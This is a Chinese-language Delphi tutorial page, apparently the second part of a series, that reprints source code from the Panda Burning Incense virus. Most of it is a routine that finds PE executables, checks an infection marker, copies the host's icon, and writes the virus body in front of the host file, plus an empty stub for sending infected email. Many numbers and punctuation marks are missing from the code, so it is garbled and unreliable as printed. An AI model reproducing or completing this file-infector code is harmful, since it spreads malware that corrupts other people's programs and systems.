熱點推薦:
您现在的位置: 電腦知識網 >> 編程 >> Delphi編程 >> 正文

從“熊貓燒香”中學程序[2]

2013-11-11 21:05:39  來源: Delphi編程 
    procedure FillStartupInfo(var Si: STARTUPINFO; State: Word);
  begin
    Sicb := SizeOf(Si);
    SilpReserved := nil;
    SilpDesktop := nil;
    SilpTitle := nil;
    SidwFlags := STARTF_USESHOWWINDOW;
    SiwShowWindow := State;
    SicbReserved := ;
    SilpReserved := nil;
  end;
  { 發帶毒郵件 }
  procedure SendMail;
  begin
    //哪位仁兄願意完成之?
  end;
  { 感染PE文件 }
  procedure InfectOneFile(FileName: string);
  var
    HdrStream SrcStream: TFileStream;
    IcoStream DstStream: TMemoryStream;
    iID: LongInt;
    aIcon: TIcon;
    Infected IsPE: Boolean;
    i: Integer;
    Buf: array[] of Char;
  begin
    try //出錯則文件正在被使用退出
      if CompareText(FileName JAPUSSYEXE) = then //是自己則不感染
        Exit;
      Infected := False;
      IsPE    := False;
      SrcStream := TFileStreamCreate(FileName fmOpenRead);
      try
        for i := to $ do //檢查PE文件頭
        begin
          SrcStreamSeek(i soFromBeginning);
          SrcStreamRead(Buf );
          if (Buf[] = #) and (Buf[] = #) then //PE標記
          begin
            IsPE := True; //是PE文件
            Break;
          end;
        end;
         SrcStreamSeek( soFromEnd); //檢查感染標記
        SrcStreamRead(iID );
        if (iID = ID) or (SrcStreamSize < ) then //太小的文件不感染
          Infected := True;
      finally
        SrcStreamFree;
      end;
      if Infected or (not IsPE) then //如果感染過了或不是PE文件則退出
        Exit;
      IcoStream := TMemoryStreamCreate;
      DstStream := TMemoryStreamCreate;
      try
        aIcon := TIconCreate;
        try
          //得到被感染文件的主圖標(字節)存入流
          aIconReleaseHandle;
          aIconHandle := ExtractIcon(HInstance PChar(FileName) );
          aIconSaveToStream(IcoStream);
        finally
          aIconFree;
        end;
        SrcStream := TFileStreamCreate(FileName fmOpenRead);
        //頭文件
        HdrStream := TFileStreamCreate(ParamStr() fmOpenRead or fmShareDenyNone);
        try
          //寫入病毒體主圖標之前的數據
          CopyStream(HdrStream DstStream IconOffset);
          //寫入目前程序的主圖標
          CopyStream(IcoStream DstStream IconOffset IconSize);
          //寫入病毒體主圖標到病毒體尾部之間的數據
          CopyStream(HdrStream IconTail DstStream IconTail HeaderSize IconTail);
          //寫入宿主程序

[]  []  []  []  []  


From:http://tw.wingwit.com/Article/program/Delphi/201311/8474.html
    推薦文章
    Copyright © 2005-2013 電腦知識網 Computer Knowledge   All rights reserved.